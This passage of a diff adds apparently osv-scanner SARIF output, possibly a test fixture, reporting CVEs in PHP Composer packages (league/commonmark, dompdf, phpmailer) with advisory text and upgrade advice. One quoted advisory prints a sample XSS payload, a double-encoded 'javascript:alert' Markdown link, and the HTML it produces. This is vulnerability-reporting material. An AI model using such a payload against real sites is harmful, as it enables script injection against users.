https://github.com/thephpleague/commonmark/releases/tag/0.18.3\n - https://github.com/thephpleague/commonmark/issues/353\n- https://github.com/FriendsOfPHP/security-advisories/blob/master/league/commonmark/CVE-2019-10010.yaml"
654
+ },
655
+ "help": {
656
+ "markdown": "**Your dependency is vulnerable to [CVE-2019-10010](https://osv.dev/CVE-2019-10010)**.\n\n## [GHSA-3v43-877x-qgmq](https://osv.dev/GHSA-3v43-877x-qgmq)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ## CVE-2019-10010\n\u003e \n\u003e ### Impact\n\u003e \n\u003e In `league/commonmark` 0.18.2 and below, malicious users can insert double-encoded HTML entities into their Markdown like this:\n\u003e \n\u003e ```md\n\u003e [XSS](javascript\u0026amp;colon;alert%28\u0026#039;XSS\u0026#039;%29)\n\u003e ```\n\u003e \n\u003e This library would (correctly) unescape the `\u0026amp;` entity to `\u0026` during the parsing step. However, **the renderer step would fail to properly re-escape the resulting `\u0026colon;` string**, thus producing the following malicious HTML output:\n\u003e \n\u003e ```html\n\u003e \u003cp\u003e\u003ca href=\"javascript\u0026colon;alert('XSS')\"\u003eXSS\u003c/a\u003e\u003c/p\u003e\n\u003e ```\n\u003e \n\u003e Browsers would interpret `\u0026colon;` as a `:` character and allow the JS to be executed when the link is clicked.\n\u003e \n\u003e This vulnerability was present in the upstream library this project was forked from and therefore exists in all prior versions of `league/commonmark`.\n\u003e \n\u003e ### Solution\n\u003e \n\u003e The new [0.18.3](https://github.com/thephpleague/commonmark/releases/tag/0.18.3) release mirrors [the fix made upstream](https://github.com/commonmark/commonmark.js/commit/c89b35c5fc99bdf1d2181f7f0c9fcb8a1abc27c8) - we no longer attempt to preserve entities when rendering HTML attributes like `href`, `src`, `title`, etc.\n\u003e \n\u003e The `$preserveEntities` parameter of `Xml::escape()` is therefore no longer used internally, so it has been deprecated and marked for removal in the next major release (0.19.0).\n\u003e \n\u003e ### Credits\n\u003e \n\u003e - Mohit Fawaz for identifying the issue\n\u003e - Sebastiaan Knijnenburg and Ross Tuck for responsibly disclosing/relaying the issue\n\u003e - John MacFarlane for investigating it and implementing the upstream fix we mirrored here\n\u003e \n\u003e ### References\n\u003e \n\u003e - https://nvd.nist.gov/vuln/detail/CVE-2019-10010\n\u003e - https://github.com/thephpleague/commonmark/releases/tag/0.18.3\n\u003e - https://github.com/thephpleague/commonmark/issues/353\n\u003e - https://github.com/FriendsOfPHP/security-advisories/blob/master/league/commonmark/CVE-2019-10010.yaml\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | league/commonmark | ad51c7cafb90e0bbd9f34b71d18d05994547e352 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3v43-877x-qgmq | league/commonmark | 0.18.3 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2019-10010\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
657
+ "text": "**Your dependency is vulnerable to [CVE-2019-10010](https://osv.dev/CVE-2019-10010)**.\n\n## [GHSA-3v43-877x-qgmq](https://osv.dev/GHSA-3v43-877x-qgmq)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e ## CVE-2019-10010\n\u003e \n\u003e ### Impact\n\u003e \n\u003e In `league/commonmark` 0.18.2 and below, malicious users can insert double-encoded HTML entities into their Markdown like this:\n\u003e \n\u003e ```md\n\u003e [XSS](javascript\u0026amp;colon;alert%28\u0026#039;XSS\u0026#039;%29)\n\u003e ```\n\u003e \n\u003e This library would (correctly) unescape the `\u0026amp;` entity to `\u0026` during the parsing step. However, **the renderer step would fail to properly re-escape the resulting `\u0026colon;` string**, thus producing the following malicious HTML output:\n\u003e \n\u003e ```html\n\u003e \u003cp\u003e\u003ca href=\"javascript\u0026colon;alert('XSS')\"\u003eXSS\u003c/a\u003e\u003c/p\u003e\n\u003e ```\n\u003e \n\u003e Browsers would interpret `\u0026colon;` as a `:` character and allow the JS to be executed when the link is clicked.\n\u003e \n\u003e This vulnerability was present in the upstream library this project was forked from and therefore exists in all prior versions of `league/commonmark`.\n\u003e \n\u003e ### Solution\n\u003e \n\u003e The new [0.18.3](https://github.com/thephpleague/commonmark/releases/tag/0.18.3) release mirrors [the fix made upstream](https://github.com/commonmark/commonmark.js/commit/c89b35c5fc99bdf1d2181f7f0c9fcb8a1abc27c8) - we no longer attempt to preserve entities when rendering HTML attributes like `href`, `src`, `title`, etc.\n\u003e \n\u003e The `$preserveEntities` parameter of `Xml::escape()` is therefore no longer used internally, so it has been deprecated and marked for removal in the next major release (0.19.0).\n\u003e \n\u003e ### Credits\n\u003e \n\u003e - Mohit Fawaz for identifying the issue\n\u003e - Sebastiaan Knijnenburg and Ross Tuck for responsibly disclosing/relaying the issue\n\u003e - John MacFarlane for investigating it and implementing the upstream fix we mirrored here\n\u003e \n\u003e ### References\n\u003e \n\u003e - https://nvd.nist.gov/vuln/detail/CVE-2019-10010\n\u003e - https://github.com/thephpleague/commonmark/releases/tag/0.18.3\n\u003e - https://github.com/thephpleague/commonmark/issues/353\n\u003e - https://github.com/FriendsOfPHP/security-advisories/blob/master/league/commonmark/CVE-2019-10010.yaml\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | league/commonmark | ad51c7cafb90e0bbd9f34b71d18d05994547e352 |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3v43-877x-qgmq | league/commonmark | 0.18.3 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2019-10010\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
658
+ },
659
+ "id": "CVE-2019-10010",
660
+ "name": "CVE-2019-10010",
661
+ "properties": {
662
+ "security-severity": "6.1"
663
+ },
664
+ "relationships": [],
665
+ "shortDescription": {
666
+ "markdown": "CVE-2019-10010: Moderate severity vulnerability that affects league/commonmark",
667
+ "text": "CVE-2019-10010: Moderate severity vulnerability that affects league/commonmark"
668
+ }
669
+ },
670
+ {
671
+ "deprecatedIds": [
672
+ "CVE-2021-3902",
673
+ "GHSA-3vjh-xrhf-v9xh"
674
+ ],
675
+ "fullDescription": {
676
+ "markdown": "An improper restriction of external entities (XXE) vulnerability in dompdf/dompdf's SVG parser allows for Server-Side Request Forgery (SSRF) and deserialization attacks. This issue affects all versions prior to 2.0.0. The vulnerability can be exploited even if the isRemoteEnabled option is set to false. It allows attackers to perform SSRF, disclose internal image files, and cause PHAR deserialization attacks.",
677
+ "text": "An improper restriction of external entities (XXE) vulnerability in dompdf/dompdf's SVG parser allows for Server-Side Request Forgery (SSRF) and deserialization attacks. This issue affects all versions prior to 2.0.0. The vulnerability can be exploited even if the isRemoteEnabled option is set to false. It allows attackers to perform SSRF, disclose internal image files, and cause PHAR deserialization attacks."
678
+ },
679
+ "help": {
680
+ "markdown": "**Your dependency is vulnerable to [CVE-2021-3902](https://osv.dev/CVE-2021-3902)**.\n\n## [GHSA-3vjh-xrhf-v9xh](https://osv.dev/GHSA-3vjh-xrhf-v9xh)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e An improper restriction of external entities (XXE) vulnerability in dompdf/dompdf's SVG parser allows for Server-Side Request Forgery (SSRF) and deserialization attacks. This issue affects all versions prior to 2.0.0. The vulnerability can be exploited even if the isRemoteEnabled option is set to false. It allows attackers to perform SSRF, disclose internal image files, and cause PHAR deserialization attacks.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3vjh-xrhf-v9xh | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-3902\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
681
+ "text": "**Your dependency is vulnerable to [CVE-2021-3902](https://osv.dev/CVE-2021-3902)**.\n\n## [GHSA-3vjh-xrhf-v9xh](https://osv.dev/GHSA-3vjh-xrhf-v9xh)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e An improper restriction of external entities (XXE) vulnerability in dompdf/dompdf's SVG parser allows for Server-Side Request Forgery (SSRF) and deserialization attacks. This issue affects all versions prior to 2.0.0. The vulnerability can be exploited even if the isRemoteEnabled option is set to false. It allows attackers to perform SSRF, disclose internal image files, and cause PHAR deserialization attacks.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-3vjh-xrhf-v9xh | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-3902\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
682
+ },
683
+ "id": "CVE-2021-3902",
684
+ "name": "CVE-2021-3902",
685
+ "properties": {
686
+ "security-severity": "9.8"
687
+ },
688
+ "relationships": [],
689
+ "shortDescription": {
690
+ "markdown": "CVE-2021-3902: Improper Restriction of XML External Entity Reference in dompdf/dompdf",
691
+ "text": "CVE-2021-3902: Improper Restriction of XML External Entity Reference in dompdf/dompdf"
692
+ }
693
+ },
694
+ {
695
+ "deprecatedIds": [
696
+ "CVE-2021-3838",
697
+ "GHSA-577p-7j7h-2jgf"
698
+ ],
699
+ "fullDescription": {
700
+ "markdown": "DomPDF before version 2.0.0 is vulnerable to PHAR (PHP Archive) deserialization due to a lack of checking on the protocol before passing it into the file_get_contents() function. An attacker who can upload files of any type to the server can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution, especially when DOMPdf is used with frameworks with documented POP chains like Laravel or vulnerable developer code.",
701
+ "text": "DomPDF before version 2.0.0 is vulnerable to PHAR (PHP Archive) deserialization due to a lack of checking on the protocol before passing it into the file_get_contents() function. An attacker who can upload files of any type to the server can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution, especially when DOMPdf is used with frameworks with documented POP chains like Laravel or vulnerable developer code."
702
+ },
703
+ "help": {
704
+ "markdown": "**Your dependency is vulnerable to [CVE-2021-3838](https://osv.dev/CVE-2021-3838)**.\n\n## [GHSA-577p-7j7h-2jgf](https://osv.dev/GHSA-577p-7j7h-2jgf)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e DomPDF before version 2.0.0 is vulnerable to PHAR (PHP Archive) deserialization due to a lack of checking on the protocol before passing it into the file_get_contents() function. An attacker who can upload files of any type to the server can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution, especially when DOMPdf is used with frameworks with documented POP chains like Laravel or vulnerable developer code.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-577p-7j7h-2jgf | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-3838\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
705
+ "text": "**Your dependency is vulnerable to [CVE-2021-3838](https://osv.dev/CVE-2021-3838)**.\n\n## [GHSA-577p-7j7h-2jgf](https://osv.dev/GHSA-577p-7j7h-2jgf)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e DomPDF before version 2.0.0 is vulnerable to PHAR (PHP Archive) deserialization due to a lack of checking on the protocol before passing it into the file_get_contents() function. An attacker who can upload files of any type to the server can pass in the phar:// protocol to unserialize the uploaded file and instantiate arbitrary PHP objects. This can lead to remote code execution, especially when DOMPdf is used with frameworks with documented POP chains like Laravel or vulnerable developer code.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-577p-7j7h-2jgf | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-3838\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
706
+ },
707
+ "id": "CVE-2021-3838",
708
+ "name": "CVE-2021-3838",
709
+ "properties": {
710
+ "security-severity": "9.8"
711
+ },
712
+ "relationships": [],
713
+ "shortDescription": {
714
+ "markdown": "CVE-2021-3838: Deserialization of Untrusted Data in dompdf/dompdf",
715
+ "text": "CVE-2021-3838: Deserialization of Untrusted Data in dompdf/dompdf"
716
+ }
717
+ },
718
+ {
719
+ "deprecatedIds": [
720
+ "CVE-2022-2400",
721
+ "GHSA-5qj8-6xxj-hp9h"
722
+ ],
723
+ "fullDescription": {
724
+ "markdown": "Dompdf prior to version 2.0.0 is vulnerable to a chroot check bypass, which could cause disclosure of png and jpeg files.",
725
+ "text": "Dompdf prior to version 2.0.0 is vulnerable to a chroot check bypass, which could cause disclosure of png and jpeg files."
726
+ },
727
+ "help": {
728
+ "markdown": "**Your dependency is vulnerable to [CVE-2022-2400](https://osv.dev/CVE-2022-2400)**.\n\n## [GHSA-5qj8-6xxj-hp9h](https://osv.dev/GHSA-5qj8-6xxj-hp9h)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e Dompdf prior to version 2.0.0 is vulnerable to a chroot check bypass, which could cause disclosure of png and jpeg files.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-5qj8-6xxj-hp9h | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-2400\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
729
+ "text": "**Your dependency is vulnerable to [CVE-2022-2400](https://osv.dev/CVE-2022-2400)**.\n\n## [GHSA-5qj8-6xxj-hp9h](https://osv.dev/GHSA-5qj8-6xxj-hp9h)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e Dompdf prior to version 2.0.0 is vulnerable to a chroot check bypass, which could cause disclosure of png and jpeg files.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-5qj8-6xxj-hp9h | dompdf/dompdf | 2.0.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-2400\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
730
+ },
731
+ "id": "CVE-2022-2400",
732
+ "name": "CVE-2022-2400",
733
+ "properties": {
734
+ "security-severity": "5.3"
735
+ },
736
+ "relationships": [],
737
+ "shortDescription": {
738
+ "markdown": "CVE-2022-2400: Dompdf before v2.0.0 vulnerable to chroot check bypass",
739
+ "text": "CVE-2022-2400: Dompdf before v2.0.0 vulnerable to chroot check bypass"
740
+ }
741
+ },
742
+ {
743
+ "deprecatedIds": [
744
+ "CVE-2022-41343",
745
+ "GHSA-6x28-7h8c-chx4"
746
+ ],
747
+ "fullDescription": {
748
+ "markdown": "`registerFont` in `FontMetrics.php` in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a `@font-face` rule.",
749
+ "text": "`registerFont` in `FontMetrics.php` in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a `@font-face` rule."
750
+ },
751
+ "help": {
752
+ "markdown": "**Your dependency is vulnerable to [CVE-2022-41343](https://osv.dev/CVE-2022-41343)**.\n\n## [GHSA-6x28-7h8c-chx4](https://osv.dev/GHSA-6x28-7h8c-chx4)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e `registerFont` in `FontMetrics.php` in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a `@font-face` rule.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-6x28-7h8c-chx4 | dompdf/dompdf | 2.0.1 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-41343\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
753
+ "text": "**Your dependency is vulnerable to [CVE-2022-41343](https://osv.dev/CVE-2022-41343)**.\n\n## [GHSA-6x28-7h8c-chx4](https://osv.dev/GHSA-6x28-7h8c-chx4)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e `registerFont` in `FontMetrics.php` in Dompdf before 2.0.1 allows remote file inclusion because a URI validation failure does not halt font registration, as demonstrated by a `@font-face` rule.\n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | dompdf/dompdf | 60b704331479a69e9bcdb3496da2315b5c4f94fd |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-6x28-7h8c-chx4 | dompdf/dompdf | 2.0.1 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2022-41343\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n"
754
+ },
755
+ "id": "CVE-2022-41343",
756
+ "name": "CVE-2022-41343",
757
+ "properties": {
758
+ "security-severity": "7.5"
759
+ },
760
+ "relationships": [],
761
+ "shortDescription": {
762
+ "markdown": "CVE-2022-41343: Dompdf allows remote file inclusion because URI validation failure does not halt font registration",
763
+ "text": "CVE-2022-41343: Dompdf allows remote file inclusion because URI validation failure does not halt font registration"
764
+ }
765
+ },
766
+ {
767
+ "deprecatedIds": [
768
+ "CVE-2021-3603",
769
+ "BIT-phpmailer-2021-3603",
770
+ "GHSA-77mr-wc79-m8j3"
771
+ ],
772
+ "fullDescription": {
773
+ "markdown": "If a function is defined that has the same name as the default built-in email address validation scheme (`php`), it will be called in default configuration as when no validation scheme is provided, the default scheme's callable `php` was being called. If an attacker is able to inject such a function into the application (a much bigger issue), it will be called whenever an email address is validated, such as when calling `validateAddress()`.\n\n### Impact\nLow impact – exploitation requires that an attacker can already inject code into an application, but it provides a trigger pathway.\n\n### Patches\nThis is patched in PHPMailer 6.5.0 by denying the use of simple strings as validator function names, which is a very minor BC break.\n\n### Workarounds\nInject your own email validator function.\n\n### References\nReported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/).\n[CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)\n* [Email us](mailto:phpmailer@synchromedia.co.uk).\n",
774
+ "text": "If a function is defined that has the same name as the default built-in email address validation scheme (`php`), it will be called in default configuration as when no validation scheme is provided, the default scheme's callable `php` was being called. If an attacker is able to inject such a function into the application (a much bigger issue), it will be called whenever an email address is validated, such as when calling `validateAddress()`.\n\n### Impact\nLow impact – exploitation requires that an attacker can already inject code into an application, but it provides a trigger pathway.\n\n### Patches\nThis is patched in PHPMailer 6.5.0 by denying the use of simple strings as validator function names, which is a very minor BC break.\n\n### Workarounds\nInject your own email validator function.\n\n### References\nReported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/).\n[CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)\n* [Email us](mailto:phpmailer@synchromedia.co.uk).\n"
775
+ },
776
+ "help": {
777
+ "markdown": "**Your dependency is vulnerable to [CVE-2021-3603](https://osv.dev/CVE-2021-3603)**.\n\n## [GHSA-77mr-wc79-m8j3](https://osv.dev/GHSA-77mr-wc79-m8j3)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e If a function is defined that has the same name as the default built-in email address validation scheme (`php`), it will be called in default configuration as when no validation scheme is provided, the default scheme's callable `php` was being called. If an attacker is able to inject such a function into the application (a much bigger issue), it will be called whenever an email address is validated, such as when calling `validateAddress()`.\n\u003e \n\u003e ### Impact\n\u003e Low impact – exploitation requires that an attacker can already inject code into an application, but it provides a trigger pathway.\n\u003e \n\u003e ### Patches\n\u003e This is patched in PHPMailer 6.5.0 by denying the use of simple strings as validator function names, which is a very minor BC break.\n\u003e \n\u003e ### Workarounds\n\u003e Inject your own email validator function.\n\u003e \n\u003e ### References\n\u003e Reported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/).\n\u003e [CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603)\n\u003e \n\u003e ### For more information\n\u003e If you have any questions or comments about this advisory:\n\u003e * Open an issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)\n\u003e * [Email us](mailto:phpmailer@synchromedia.co.uk).\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phpmailer/phpmailer | 9256f12d8fb0cd0500f93b19e18c356906cbed3d |\n\n## Remediation\n\nTo fix these vulnerabilities, update the vulnerabilities past the listed fixed versions below.\n\n### Fixed Versions\n\n| Vulnerability ID | Package Name | Fixed Version |\n| --- | --- | --- |\n| GHSA-77mr-wc79-m8j3 | phpmailer/phpmailer | 6.5.0 |\n\nIf you believe these vulnerabilities do not affect your code and wish to ignore them, add them to the ignore list in an\n`osv-scanner.toml` file located in the same directory as the lockfile containing the vulnerable dependency.\n\nSee the format and more options in our documentation here: https://google.github.io/osv-scanner/configuration/\n\nAdd or append these values to the following config files to ignore this vulnerability:\n\n`/Users/john.doe/projects/php/composer/osv-scanner.toml`\n\n```\n[[IgnoredVulns]]\nid = \"CVE-2021-3603\"\nreason = \"Your reason for ignoring this vulnerability\"\n```\n",
778
+ "text": "**Your dependency is vulnerable to [CVE-2021-3603](https://osv.dev/CVE-2021-3603)**.\n\n## [GHSA-77mr-wc79-m8j3](https://osv.dev/GHSA-77mr-wc79-m8j3)\n\n\u003cdetails\u003e\n\u003csummary\u003eDetails\u003c/summary\u003e\n\n\u003e If a function is defined that has the same name as the default built-in email address validation scheme (`php`), it will be called in default configuration as when no validation scheme is provided, the default scheme's callable `php` was being called. If an attacker is able to inject such a function into the application (a much bigger issue), it will be called whenever an email address is validated, such as when calling `validateAddress()`.\n\u003e \n\u003e ### Impact\n\u003e Low impact – exploitation requires that an attacker can already inject code into an application, but it provides a trigger pathway.\n\u003e \n\u003e ### Patches\n\u003e This is patched in PHPMailer 6.5.0 by denying the use of simple strings as validator function names, which is a very minor BC break.\n\u003e \n\u003e ### Workarounds\n\u003e Inject your own email validator function.\n\u003e \n\u003e ### References\n\u003e Reported by [Vikrant Singh Chauhan](mailto:vi@hackberry.xyz) via [huntr.dev](https://www.huntr.dev/).\n\u003e [CVE-2021-3603](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2021-3603)\n\u003e \n\u003e ### For more information\n\u003e If you have any questions or comments about this advisory:\n\u003e * Open an issue in [the PHPMailer project](https://github.com/PHPMailer/PHPMailer)\n\u003e * [Email us](mailto:phpmailer@synchromedia.co.uk).\n\u003e \n\n\u003c/details\u003e\n\n---\n\n### Affected Packages\n\n| Source | Package Name | Package Version |\n| --- | --- | --- |\n| lockfile:/Users/john.doe/projects/php/composer/composer.lock | phpmailer/phpmailer | 